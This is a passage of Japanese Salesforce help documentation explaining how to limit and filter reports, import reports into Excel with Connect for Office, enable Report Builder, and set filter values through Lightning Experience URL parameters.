6. ダッシュボードのテーブルおよびグラフで使用する [名前] と [値] を選択

します。テーブルに名前と値の両方が表示されます。グラフは名前ごとにグ
ループ化されます。

7. [OK]をクリックします。これで、この表形式レポートをダッシュボードコン
ポーネントのソースレポートとして使用できます。

ヒント: 表形式レポートを表示するダッシュボードコンポーネントを作
成するとき、ダッシュボードコンポーネントエディタを使用して、[ダッ
シュボードの設定] で選択した設定を上書きできます。
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レポートの結果の制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

レポートの範囲に制限を設定して、多数のレコードが処理されるのを回避しま
す。結果を制限するための組み込みの選択肢は、レポートするオブジェクトに
よって異なります。
• レポートビルダーでヘッダー、小計、合計のみが表示されるレポートを折り

たたみビューで表示するには、[表示] > [詳細] を選択解除します。
レポート実行ページで、レポート上部にある [詳細を非表示] または [詳細の
表示] をクリックします。

• 項目で絞り込むには、[追加] > [項目の絞り込み] をクリックします。表形式
レポート、サマリーレポート、およびマトリックスレポートでは、[項目] ペ
インから [条件] ペインに項目をドラッグして、レポート検索条件を追加でき
ます。

• クロス条件は、通常の条件と同様に機能します。ただし、クロス条件には独
自の特性がいくつかあります。クロス条件を追加するには、[追加] > [クロス
条件] をクリックします。

• Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および
Developer Edition の組織では、[階層] リンクで、ロールまたはテリトリー階層
に基づくレポート結果を参照できます。

• 組織がディビジョンを使用してデータを分類しており、「ディビジョンの使
用」権限を持っている場合は、[ディビジョン] ドロップダウンリストを使用
して、レコードを 1 つのディビジョンまたはすべてのディビジョンに含めま
す。現在の所属ディビジョンのレコードを表示するには、[現在] を選択し
ます。すでに対象 (「私のケース」や「私のチームの取引先」など) が指定されているレポートには、すべ
てのディビジョンのレコードが含まれており、特定のディビジョンに制限することはできません。「ディ
ビジョンの使用」権限を持っていない場合は、レポートに、全ディビジョンのレコードが表示さます。

• レポートビルダーで [追加] > [行制限]をクリックすると、表形式レポートに表示する最大レコード数を設定
できます。行数を設定してから、並び替えする項目と並び替え順を選択します。表形式レポートの行数を
制限することにより、レポートをダッシュボードテーブルやグラフコンポーネントのソースとして利用で
きます。
表形式レポートの [行制限] オプションは、オブジェクト A にオブジェクト B があるかどうかというカスタ
ムレポートタイプから作成されたレポートに主オブジェクトの項目のみを表示します。たとえば、取引先
責任者の有無に関係ない取引先のレポートの場合、取引先の項目のみが表示されます。カスタムレポート
タイプには、関連付けの有無に関係ないオブジェクトより後の項目は表示されません。たとえば、ケース
レポートの有無に関係なく取引先責任者を持つ取引先では、取引先と取引先責任者の項目のみを使用でき
ます。レポート形式を変更すると、[行制限] 設定は失われます。

メモ: カスタムテキスト項目の最初の 255 文字のみが、検索条件のためにカウントされます。たとえば、
項目の条件を追加して商談を検索する際、カスタムテキスト項目 顧客のメモ には「電話」という語が含
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まれるが、「電話」は項目で 256 文字以降に出現する場合、条件でそのレコードは検索されません。標準
テキスト項目では、項目の長さに関係なく、すべての文字がカウントされます。

関連トピック:

レポート実行ページ
例: クロス条件を使用した関連オブジェクトのレポート

Excel を使用した Salesforce データのレポート

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

Excel から Salesforce レ
ポートにアクセスする
• 「レポート実行」

および

「レポートのエクス
ポート」

Connect for Office には、Excel アドインが含まれています。これを使用すると、
Microsoft® Excel® から Salesforce レポートに安全にアクセスできます。必要なレポー
トを Salesforce で作成して Excel のワークシートに取り込み、Excel の数式、図、ピ
ボットテーブルを使用してデータをカスタマイズ、分析します。Salesforce で TLS

1.0 が無効化されると、Connect for Office のサポートは終了します。

重要: Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終
了します。この変更があるため、Connect for OfficeがSalesforceと Microsoft® Word

または Excel 間の接続を確立できるという保証はありません。営業担当が接
続を確立できたとしても、Salesforce は問題が発生した場合のサポートやメ
ンテナンスは提供しません。

また、Excel アドインでのレポートや項目へアクセスは、通常の Salesforce での操
作と同様に実行できます。カスタマイズされた Excel ワークシートを [ドキュメン
ト] タブで配布します。すべてのユーザは、カスタマイズされた分析をリアルタ
イムで追跡できます。1 つのワークシートから複数のレポートにあるデータを参
照して、主要な総計値の概要を 1 ページに表示することもできます。
Excel と Salesforce 間の通信では、セキュリティで保護された HTTPS プロトコルを
使用します。これは、Web ブラウザからログインするときのプロトコルと同じ
ものです。

1. Connect for Office のインストール
Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終了します。

2. Connect for Office へのログイン
Salesforce のレポートのデータを要求するには、まず Salesforce にログインする必要があります。Salesforce で
TLS 1.0 が無効化されると、Connect for Office のサポートは終了します。

3. Connect for Office を使用したレポートの Excel へのインポート
Salesforce のカスタムレポートまたは標準レポートを Excel にインポートし、Excel の数式、グラフ、およびピ
ボットテーブルを使用して、データをさらに分析できます。Salesforce で TLS 1.0 が無効化されると、Connect

for Office のサポートは終了します。
4. Connect for Office でのデータの最新表示と更新

Excel の Salesforce レポートを最新に保つには、レポートのデータとピボットテーブル (作成した場合) を定期
的に最新表示します。Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終了します。
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Connect for Office のインストール
Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終了します。

重要: Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終了します。この変更があるた
め、Connect for Office が Salesforce と Microsoft® Word または Excel 間の接続を確立できるという保証はありませ
ん。営業担当が接続を確立できたとしても、Salesforceは問題が発生した場合のサポートやメンテナンスは
提供しません。

Connect for Office のシステム要件は次のとおりです。
• Microsoft® Office 2007

• Microsoft® Windows Vista® (32 ビットのみ) - Salesforce が TLS 1.0 を無効化するまで。
1. Word、Excel®、および Outlook® など、すべての Microsoft® Office プログラムを閉じます。
2. 個人設定から、[クイック検索] ボックスに「Office」と入力し、[Connect for Office] を選択します。

ヒント: ダウンロードページが表示されない場合は、システム管理者にアクセス権を依頼してくださ
い。

3. [今すぐインストール] をクリックします。
4. Connect for Officeをインストールするかどうかの確認メッセージが表示されたら、[はい]をクリックします。

Connect for Office を、インストーラが指定するデフォルトのフォルダにインストールすることをお勧めしま
す。

5. インストール完了後、Excel または Word を開き、[Salesforce] メニューを選択して Connect for Office の使用を開
始します。

6. Word を最初に開くと、Salesforce からマクロを有効にするよう要求されます。Word アドインを使用するに
は、必ずマクロを有効にして、Salesforce をマクロの公開者として承諾してください。

メモ: Connect for Office のインストーラがコンピュータのレジストリを編集します。組織でレジストリの編
集を禁止するセキュリティが使用されている場合は、Connect for Officeをインストールする前にシステム管
理者としてコンピュータにログインするか、会社の IT 部門にお問い合わせください。

Connect for Office へのログイン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforce のレポートのデータを要求するには、まず Salesforce にログインする必
要があります。Salesforceで TLS 1.0 が無効化されると、Connect for Officeのサポート
は終了します。

重要: Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終
了します。この変更があるため、Connect for OfficeがSalesforceと Microsoft® Word

または Excel 間の接続を確立できるという保証はありません。営業担当が接
続を確立できたとしても、Salesforce は問題が発生した場合のサポートやメ
ンテナンスは提供しません。

1. Excel を開きます。
2. Microsoft Office 2003 では、Excel ツールバーの [Salesforce] ツールバーから [ログイン] を選択します。Microsoft

Office 2007 では、リボンの Salesforceタブを選択し、[レポート]ドロップダウンメニューをクリックし、[ログ
イン] を選択します。
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3. Salesforce のユーザ名とパスワードを入力します。
4. [ログイン] をクリックします。

メモ: 組織で IP アドレスを制限している場合、信頼されない IP からのログインはアクティベーションを行
うまでブロックされます。Salesforceにより自動でアクティベーションメールが送信され、ユーザはそれを
使用してログインできます。このメールには、パスワードの末尾に追加する必要のあるセキュリティトー
クンが記載されています。たとえば、パスワードがmypasswordで、セキュリティトークンがXXXXXXXXXX

である場合、ログインするには mypasswordXXXXXXXXXX と入力する必要があります。

Connect for Office を使用したレポートの Excel へのインポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

ユーザ権限

Excel 内のレポートにアク
セスする
• 「レポート実行」

および

「レポートのエクス
ポート」

Salesforce のカスタムレポートまたは標準レポートを Excel にインポートし、Excel

の数式、グラフ、およびピボットテーブルを使用して、データをさらに分析で
きます。Salesforceで TLS 1.0 が無効化されると、Connect for Officeのサポートは終了
します。

重要: Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終
了します。この変更があるため、Connect for OfficeがSalesforceと Microsoft® Word

または Excel 間の接続を確立できるという保証はありません。営業担当が接
続を確立できたとしても、Salesforce は問題が発生した場合のサポートやメ
ンテナンスは提供しません。

1. Salesforce でカスタムレポートを作成します。任意の標準レポートを使用する
こともできます。

2. Excel で空のワークシートを開きます。
3. リボンの [Salesforce] タブを選択し、[レポート] ドロップダウンメニューをク

リックして、[レポートをインポート...] を選択します。

メモ:  Microsoft Office 2003 では、Excel ツールバーの [Salesforce] ツールバー
から [レポートをインポート...] を選択します。

4. 使用可能な Salesforce の標準レポートおよびカスタムレポートからレポートを選択します。
5. レポートデータを Excel ファイルに取り込む場所を指定します。

a. [インポート先のワークシート] 項目に、Excel ワークシートの名前を入力します。
b. [携帯電話] 項目に、データの取り込みを開始する一番上のセルを入力します。

指定したワークシートとセルにレポートデータがすでに入っている場合、Connect for Office は、既存デー
タを移動させて、新規レポートデータ用の領域を確保します。

ヒント: インポートしたレポートを含むワークシートの名前は変更しないでください。名前を変更す
ると、ワークシートとレポート間の接続が失われます。データを更新するには、レポートを再度イン
ポートする必要があります。

6. [未加工データ] を選択すると、書式、集計、または総計を含まないデータがインポートされます。[フォー
マット済み]を選択すると、Salesforceのレポートに使用している色、フォント、集計、および総計が保持さ
れます。
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これは、データが小規模なテーブルに集計済みの大きなマトリックスレポートをインポートする場合に便
利です。

ヒント:

• サマリーレポートまたはマトリックスレポートを Excel の数式やピボットテーブルで使用するため
にインポートしている場合は、[未加工データ] オプションが最適です。

• データが小規模なテーブルに集計済みの大きなマトリックスレポートをインポートしている場合
は、[フォーマット済み] オプションを使用します。

7. [OK] をクリックします。

ヒント:  Excel からデータをコピーし、他の Office アプリケーションに貼り付けることができます。Excel デー
タをワークシートオブジェクトとして参照するには、[貼り付け] ではなく [特殊データを貼り付け] オプ
ションを使用します。Excel でデータが変更された場合は、オブジェクトを右クリックして自動更新でき
ます。詳細は、Microsoft Word ヘルプを参照してください。

Connect for Office でのデータの最新表示と更新
Excel のSalesforceレポートを最新に保つには、レポートのデータとピボットテーブル (作成した場合) を定期的に
最新表示します。Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終了します。

重要: Salesforce で TLS 1.0 が無効化されると、Connect for Office のサポートは終了します。この変更があるた
め、Connect for Office が Salesforce と Microsoft® Word または Excel 間の接続を確立できるという保証はありませ
ん。営業担当が接続を確立できたとしても、Salesforceは問題が発生した場合のサポートやメンテナンスは
提供しません。

Salesforce へのログイン後、[Salesforce] [リボン] タブ (Office 2003 以前の場合はツールバー) から次のオプションの
いずれかを選択します。
• 既存レポート更新... - Excel で更新するレポートを選択できます。

1. インポートしたレポートのリストから、更新するレポートを選択します。
2. [ピボットテーブルの更新]を選択し、選択したレポートに Excel で作成したピボットテーブルを更新する

こともできます。[すべてのレポートの更新] メニューを選択すると、これは自動的に実行されます。
3. レポートデータを更新するには、[選択済みのものを更新] をクリックします。

このリストからレポートを削除するには、レポート名を選択し、[選択済みのものを削除]をクリックし
ます。レポートは、Excel ワークシートやSalesforceから削除されるわけではなく、更新可能なレポートの
リストから削除されるだけです。

• すべてのレポートの更新 - Excel ファイルにインポートしたすべてのレポートを最新表示します。レポート
で参照しているピボットテーブルも含めて更新します。

ヒント:

• レポートデータを更新すると、レポートの行数が変化する場合があるため、数式を作成する場合は、
セルの範囲ではなく、列全体を選択してください。たとえば、列 E の合計には
「=Sum(Sheet2!E1:E200)」ではなく「=Sum(Sheet2!E:E)」を使用します。
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• Excel の VLOOKUP関数および HLOOKUP関数を使用して異なるセルの範囲におよぶデータを結合する場
合は、これらの関数はレポートレコード ID (15 文字の英数字で構成される ID) の大文字小文字を区別し
ます。レポートのレコードを識別する場合は、大文字と小文字を正しく指定してください。詳細は、
Microsoft Excel ヘルプを参照してください。

レポートウィザードのアップグレード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポート設定およびダッ
シュボード設定を変更す
る
• 「アプリケーションの

カスタマイズ」

強力なドラッグアンドドロップエディタであるレポートビルダーは、レポート
を作成、編集するための標準のツールです。組織でまだ従来のレポートウィザー
ドを使用している場合は、レポートビルダーにアップグレードしてください。
• すべてのプロファイルで、レポートビルダーをデフォルトで利用できます (権

限セットとプロファイル、および API の PermissionSet オブジェクと Profile オブ
ジェクトには引き続き「レポートビルダー」権限が表示されますが、アップ
グレードを行うと、これらの設定が上書きされます)。

• 従来のレポートウィザードは、アクセシビリティモードのユーザのみが使用
できます。

• Group Edition および Professional Edition を使用する組織がレポートビルダーを使
用できます。

• レポート用の新しいタイプのグラフである散布図を利用できます。
新しい組織では、レポートビルダーの最新バージョンが自動的に取得されます。
[ユーザインターフェース設定] ページに [レポートビルダーのアップグレード] セ
クションが表示されない場合、アップグレードはすでに組織で有効になってい
ます。
「レポートビルダー」権限をプロファイルまたは権限セットによってすべてのユーザに割り当てることと、組
織全体でレポートビルダーを有効にすることとは違います。組織でレポートビルダーを有効にするには、次の
手順に従ってください。

重要: アップグレードによる既存のレポートへの影響はありません。ただし、アップグレード後に古いレ
ポートウィザードに戻すことはできません。

1. [設定] から、[クイック検索]ボックスに「レポート」と入力し、[レポートおよびダッシュボードの設定]を
選択します。

2. ページの [レポートビルダーのアップグレード] セクションを確認して、[有効化] をクリックします。この
ボタンが表示されない場合、レポートビルダーはすでに組織全体で有効になっています。

3. 選択内容を確認して、[はい、すべてのユーザのレポートビルダーを有効化する] をクリックします。
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レポートデータの絞り込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

条件を追加または編集す
る
• 「レポートの作成とカ

スタマイズ」
AND

「レポートビルダー」

ユーザが Lightning
Experienceでレポートを表
示しているときに条件を
編集できないようにロッ
クまたはロック解除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

Lightning Experience でレ
ポートを表示していると
きに条件を編集する
• 「レポート実行」

レポートにデータが必要以上に表示されている場合、レポートを絞り込んで、
目的のデータのみが表示されるようにします。
Salesforce Classic では、レポートの絞り込みはレポートビルダーで行います。
Lightning Experienceでは、レポートの絞り込みには 2 つの方法があり、レポートビ
ルダーで絞り込むか、レポートを表示しているときに絞り込みます。条件を追
加または編集するにはレポートビルダーを使用します。レポートを参照中に、
既存のロックされていないレポート条件を編集するには、レポートを実行して
から、[条件] ペイン ( ) で条件を直接編集します。[条件] ペインでは既存の条
件を編集できますが、新しい条件を追加することはできません。
各レポートは最大 20 個の検索条件をサポートします。

メモ: Lightning Experienceでは、これらの条件はレポートビルダーで使用でき
ますが、レポートを表示するときに [条件] パネルには表示されません。検
索条件が表示されなくても、レポートは引き続き絞り込まれます。
• 行制限の検索条件
• クロス条件
• 履歴項目の絞り込み
• 標準の検索条件 (範囲および日付の検索条件は除く)

1. レポートビルダーで [追加]ドロップダウンメニューを開き、条件種別を選択
します。
• 項目を絞り込むには、[項目の絞り込み]を選択します。たとえば、項目条

件を使用して、[取引先名がAcme である]によって項目を絞り込みます。
• 既存の条件をレポートに適用する方法をカスタマイズするには、[検索条

件ロジック]を選択します。各条件には番号が割り当てられています。レ
ポートが、条件 1 を満たし、かつ条件 2 または条件 3 のいずれかを満たす
レコードを返すようにするには、次の条件ロジックを使用します: [Filter

1 AND (Filter 2 OR Filter 3)]。条件ロジックには少なくとも 1 つ
の項目条件が必要です。

• オブジェクトの別のオブジェクトに対する関係を絞り込むには、[クロス
条件] を選択します。[商談のある取引先] というクロス条件を適用する
と、レポートによって商談がある取引先のみが返されます。クロス条件
にサブ条件を追加すると、2 つ目のオブジェクトによってさらに絞り込ま
れます。たとえば商談サブ条件の [50000 より大きい金額] を使用する
と、レポートによって、金額が 50,000 ドルを超える商談がある取引先が返されます。

• 表形式レポートの結果数が制限するには、[行制限] を選択します。年間売上が上位 5 つの取引先を表示
するには、行制限を [年間売上上位 5 の取引先] に設定します。

日付条件などの標準条件は、デフォルトでほとんどのオブジェクトに適用されています。[追加] ドロップ
ダウンメニューの下にある標準条件を確認し、必要に応じてカスタマイズします。異なるオブジェクトに
は、異なる標準条件があります。
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2. 絞り込み条件を入力します。
絞り込み条件の詳細については、「検索条件の演算子リファレンス」および「条件ロジックの追加」を参
照してください。

3. 必要に応じて、ユーザが Lightning Experience でレポートを参照中に条件を編集できないようにするには、
[ロック] をオンにします。

4. [保存] をクリックします。
5. 絞り込まれたレポートを参照するには、[レポート実行] をクリックします。新しいレポートでは、レポー

トを保存するまでは [レポート実行] ボタンは表示されません。

メモ: Lightning Experienceレポートビルダーでは、レポートを実行する前に保存します。保存しないと、
一部の変更が失われる危険があります。特に、次の項目や条件を追加したら、必ず保存してくださ
い。
• 行制限の検索条件
• クロス条件
• 数式項目
• バケット項目

例: カリフォルニア、アリゾナ、またはネバダにある従業員 100 名以上の会社の新しいリードに電話する
ようにチームに指示するとします。リードレポートがあり、[リード状況]、[従業員数]、[都道府県] な
どの項目が含まれています。このレポートには、会社全体のリードのすべての概要が含まれています。
カリフォルニアに所在し、従業員が 100 名以上の新しいリードのみを表示するには、次の条件をレポート
に適用します。
1. [リード状況] [次の文字列と一致する] [新規]

2. [従業員数] [＞] 「100」
3. 州に「カリフォルニア」、「アリゾナ」、「ネバダ」が含まれる
これで、必要なリードのみがレポートで返されます。

検索条件ロジックの追加
検索条件ロジックによって、いつどのように検索条件がレポートに適用されるかが制御されます。
ロール階層によるレポートデータの絞り込み
組織の構造や職務に基づいてレコードを確認しますか? ジョブロール (営業マネージャなど) やその下位ロー
ル (営業担当者など) 内の各ユーザが所有するレコードを、ロールでレポートを絞り込むことで取得できま
す。
Lightning Experience での URL パラメータを介したレポートの絞り込み
検索条件に時間をかける必要はありません。URL パラメータを渡して Lightning Experience レポートの検索条
件値を設定できます。レポートへのリンクやレポートのブックマークを行うときに、URL に検索条件値パラ
メータを追加して、レポートが開くときに絞り込まれる方法をカスタマイズします。たとえば、商談レポー
トをブックマークし、新規ビジネスと既存のビジネスのどちらを表示するかを指定する検索条件値パラメー
タを追加します。
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検索条件種別リファレンス
標準の検索条件、項目検索条件、クロス条件、行制限条件など、さまざまな種別の検索条件によって、レ
ポートデータの範囲を絞ることができます。検索条件種別ごとに異なる方法でレポートが絞り込まれます。
次の検索条件種別のリストを参考にして、レポートに適した検索条件を選択してください。
検索条件の演算子リファレンス
検索条件内の演算子はセンテンス内の動詞に似ています。演算子で、検索条件間の関係を指定します。リ
ストビュー、レポート、ダッシュボード、および一部のカスタム項目に検索条件を設定するときには、次
の検索条件演算子のリストを参照してください。
相対日付検索条件の参照
相対日付検索条件を使用すると、人の話し言葉に似たわかりやすい構文を使用して日付項目で絞り込むこ
とができます。
項目と値の種別による条件検索に関する留意事項
テキスト項目、日付項目、数値、選択リスト値、空白または null 値で絞り込むときは、次のヒントを参考
にしてください。
マルチ通貨での検索のヒント
組織でマルチ通貨を使用している場合の通貨項目の検索のヒント
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検索条件ロジックの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを作成、編集、
および削除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

カスタムリストビューを
作成する
• リストに表示されてい

るレコードタイプに対
する「参照」

公開リストビューを作
成、編集、または削除す
る
• 「公開リストビューの

管理」

検索条件ロジックによって、いつどのように検索条件がレポートに適用される
かが制御されます。
検索条件をレポートに追加すると、その検索条件に番号が付記されます。最初
の検索条件は検索条件 1、2 番目の検索条件は検索条件 2 になります。検索条件
ロジックは、これらの番号付き検索条件に基づいて適用されます。
たとえば、[都道府県]、[年間売上]、[業種] などの項目を含む取引先のレポー
トがあるとします。レポートには次の検索条件があります。
1. 州に「カリフォルニア」、「アリゾナ」、「ネバダ」が含まれる
2. 業種が「銀行」と一致する
3. 年間売上が 1000000 より大きい
この 3 つの検索条件によって、レポートは、所在地がカリフォルニア、アリゾ
ナ、またはネバダ、業種が銀行、年間売上が 100 万ドル超の取引先を返します。
所在地がカリフォルニア、アリゾナ、またはネバダかつ業種が銀行の取引先か、
年間売上が 100 万ドル超の取引先のみが必要な場合はどうすればよいでしょう
か。検索条件ロジックをレポートに追加します。
1. [追加] > [検索条件ロジック] をクリックします。
2. 各検索条件の行番号を検索条件ロジック演算子で区切って入力します。

たとえば、(1 AND 2) OR 3 によって、検索条件 1 と検索条件 2 の両方か、また
は検索条件 3 と一致するレコードが検出されます。
次の表では、すべての検索条件ロジック演算子について説明します。

定義演算子

両方の値と一致するレコードを検索
します。
1 AND 2

AND

いずれかの値と一致するレコードを
検索します。
1 OR 2

OR

値を除外するレコードを検索します。
たとえば、検索条件 1 が「業種次の
文字列と一致する "バイオテクノロ

NOT

ジ"」であるとします。検索条件ロ
ジックは、NOT 1 と設定します。レ
ポートでは、バイオテクノロジと等
しくないレコードが返されます。
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3. [保存] をクリックします。
これでレポートに、所在地がカリフォルニア、アリゾナ、ネバダ、業種が銀行、売上金額が任意の取引先と、
年間売上が 100 万ドルを超える取引先が表示されます。

メモ:

• 検索条件ロジックを使用できない検索条件もあります。たとえば、積み上げ集計項目には使用できま
せん。

• オブジェクト A がオブジェクト B の有無を問わないレポートでは、OR 条件を使って複数のオブジェク
トにまたがる検索条件を適用することはできません。たとえば、検索条件に「取引先名 次の文字列で
始まる M OR 取引先責任者名 次の文字列で始まる M」と入力すると、検索条件に誤りがあることを知
らせるエラーメッセージが表示されます。

• 参照項目に対する検索条件ロジックを除き、項目検索条件で次の項目の 1 つ以上を使用している場合、
検索条件ロジックを使用できません。
– トピック
– 説明
– [町名・番地 1]、[町名・番地 2]、および [町名・番地3] 項目の 1 つ以上
– 売上予測分類
– キャンペーン: メンバー種別
– ユーザ: プロファイル名
– ログイン状況
– カスタムロングテキストエリア項目

関連トピック:

項目と値の種別による条件検索に関する留意事項
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ロール階層によるレポートデータの絞り込み

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

条件を追加または編集す
る
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

ユーザが Lightning
Experienceでレポートを表
示しているときに条件を
編集できないようにロッ
クまたはロック解除する
• 「レポートの作成とカ

スタマイズ」

および

「レポートビルダー」

Lightning Experience でレ
ポートを表示していると
きに条件を編集する
• 「レポート実行」

組織の構造や職務に基づいてレコードを確認しますか? ジョブロール (営業マネー
ジャなど) やその下位ロール (営業担当者など) 内の各ユーザが所有するレコード
を、ロールでレポートを絞り込むことで取得できます。
たとえば、カリフォルニア州の営業チームメンバーが所有する商談を表示する
には、「Sales Manager - California (営業マネージャ - カリフォルニア州)」のロールを
使用して商談レポートを絞り込みます。また、カリフォルニア州の特定の営業
マネージャが所有する商談をドリルダウンする場合は、ロール内の特定の人物
で結果を絞り込むことでもできます。

メモ: ロール階層検索条件は、次の標準レポートタイプに基づくレポート
でのみ使用できます。
• 活動
• ToDo

• 行動
• 商談が関連するキャンペーン
• 売上予測
• 商談 (ただし次を除く)

– 競合が関連する商談
– 取引先責任者のロールが関連する商談
– 取引先責任者のロールと商品が関連する商談
– 商談履歴
– パートナーが関連する商談
– チームが関連する商談
– チームと商品が関連する商談

ロール階層検索条件は、カスタムレポートタイプに基づくレポートで使用
できません。

Lightning Experience でのロール階層による絞り込み
1. 必要に応じて、[レポート実行] ページで [ ] をクリックして [検索条件] パ

ネルを開きます。
2. [検索条件] パネルで [ロール階層] をクリックします。
3. [ロール階層] モーダルで、ロールで絞り込みます。特定のロールを見つけるには、検索ボックスの使用を

考慮してください。
4. 選択したロール内の人物で結果を絞り込むことで、レポートをさらに絞り込むこともできます。人物で絞

り込むと、その人物に属するレコードと、ロール内のその人物の部下に属するレコードが表示されます。
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Salesforce Classic でのロール階層による絞り込み
1. [レポート実行] ページで、[階層を表示] をクリックします。
2. ロールにドリルダウンします。
3. ロールですでに絞り込まれたレポートを開くようにするには、ロールにドリルダウンしてから、[カスタマ

イズ]をクリックしてレポートビルダーを開きます。次に、[レポートのプロパティ]をクリックして、[階層
レベルの保存] をオンにします。[レポートのプロパティ] で [保存] をクリックした後、レポートビルダーで
[保存] を再度クリックします。

Lightning Experience での URL パラメータを介したレポートの絞り込み

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Lightning Experience でレ
ポートを絞り込む
• 「レポート実行」

検索条件に時間をかける必要はありません。URL パラメータを渡して Lightning

Experience レポートの検索条件値を設定できます。レポートへのリンクやレポー
トのブックマークを行うときに、URL に検索条件値パラメータを追加して、レ
ポートが開くときに絞り込まれる方法をカスタマイズします。たとえば、商談
レポートをブックマークし、新規ビジネスと既存のビジネスのどちらを表示す
るかを指定する検索条件値パラメータを追加します。
1. レポートの URL の最後にパラメータ &fv0=条件値 を付加します。

パラメータの意味を詳しく見てみましょう。
• & — URL 内の新しいパラメータを示します。URL 内に他のパラメータが存

在しない場合は、& ではなく ? を使用します。
• fv0 — fv は「条件値」を表すパラメータの名前です。0 は条件がレポート

に表示される順序です。(最初の条件は 0、2 番目の条件は 1、3 番目の条件
は 2、など。) 標準条件は、すべてのレポートで最初の 3 つの条件として
表示されますが、この順序にはカウントされず、URL パラメータを使用し
て絞り込むことができません。レポートの 5 番目の条件の値を設定するに
は、fv4 を指定します。ここでは、レポートの最初の項目検索条件で絞
り込みます。
Lightning Experienceのレポート実行ページに条件が表示される順序は、必ずしも条件がレポートに表示さ
れる順序ではありません。実行ページでは、ロックされている条件はロックされていない条件の下にリ
ストされますが、すべてのロックされていない条件の下になるとは限りません。レポート内の検索条件
の順序を確認するには、レポートビルダーでの順序を参照します。また
は、/services/data/v39.0/analytics/reports/<レポート ID>/describeに対して GET コールを
実行し、JSON 応答内の順序を確認します。

• 条件値  — 検索条件の操作の対象となる条件。
検索条件値は URI エンコードする必要があります。つまり、特定の文字 (スペースなど) を URL が理解で
きる形式で記述する必要があります。スペース (' ') を URI エンコードすると %20 になります。

2. パラメータを付加したレポートの URL に移動します。
レポートを開くと、URL 内のパラメータで指定されたとおりに検索条件が適用されてレポートが開きます。
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例: ユーザは 1 日に何回も商談レポートを確認します。そして、レポートを開いた後には常に 新規ビジネ
ス または 既存のビジネス を表示するように検索条件を編集します (デフォルトでは、[種別] 検索条件に
新規ビジネス と 既存のビジネス の両方が含まれます)。

レポートを読み込み、検索条件を編集してからレポートを再読み込みする代わりに、URL に新規ビジネス
の検索条件値パラメータを含めたブックマークを作成します。検索条件のない商談レポートの URL を見て
みましょう。
https://na1.salesforce.com/one/one.app#/sObject/00OR0000000PCHYMA4/view?t=1479844235107

パラメータ &fv0=New%20Business を付加し、[種別] 検索条件値を「New Business」に設定するよう
に URL を編集します。繰り返しますが、パラメータ値は URI エンコードする必要があります。つまり、特
定の文字 (スペースなど) を URL が理解できる形式で記述する必要があります。たとえばスペース (「」) を
URI エンコードすると %20 になります。ブックマークされた完全な URL は次のようになります。
https://na1.salesforce.com/one/one.app#/sObject/00OR0000000PCHYMA4/view?t=1479844235107&fv0=New%20Business

条件値を使用した URL によって商談レポートに移動すると、条件が適用され、そのまま読める状態でレ
ポートが開きます。
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URL を介して条件を設定する場合は、次の制限事項に注意してください。
• URL パラメータからの編集がサポートされているのは項目条件のみです。標準条件 (ロール階層条件、

範囲条件、日付条件)、クロス条件、行制限条件はサポートされていません。標準条件、クロス条件、
行制限条件は、条件をリストするときにカウントされません。fv0 は最初の項目条件です。

• グラフ条件はサポートされていません。
• 条件演算子 (equals や greater than など) は URL パラメータを介して変更できません。
• URL パラメータを介して、絞り込まれる項目を変更することはできません。
• 条件値 URL パラメータを使用して新しい条件をレポートに追加することはできません。既存の条件を

変更することのみ可能です。
• 条件値 URL パラメータを使用してレポートから条件を削除することはできません。空の値を設定する

と、テキストまたは数値なしで絞り込まれますが、条件は削除されません。

検索条件種別リファレンス
標準の検索条件、項目検索条件、クロス条件、行制限条件など、さまざまな種別の検索条件によって、レポー
トデータの範囲を絞ることができます。検索条件種別ごとに異なる方法でレポートが絞り込まれます。次の検
索条件種別のリストを参考にして、レポートに適した検索条件を選択してください。

説明検索条件種別

標準の検索条件は、ほとんどのオブジェクトにデフォルトで適用されます。
標準の検索条件はオブジェクトによって異なりますが、ほとんどのオブジェ

標準の検索条件
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説明検索条件種別

クトには標準の検索条件 [表示] と [日付項目] が含まれています。[表示]

は、オブジェクトを共通のグルーピングで絞り込みます (「私の取引先」、
「すべての取引先」など)。[日付項目]は項目 ([作成日]、[最終活動日]など)

と日付範囲 (「常時」、「先月」など) で絞り込みます。

項目の絞り込みは、アプリケーションのレポート、リストビュー、ワークフ
ロールール、およびその他の領域で使用できます。各検索条件で、項目、演

項目の絞り込み

算子、および値を設定します。表形式レポート、サマリーレポート、および
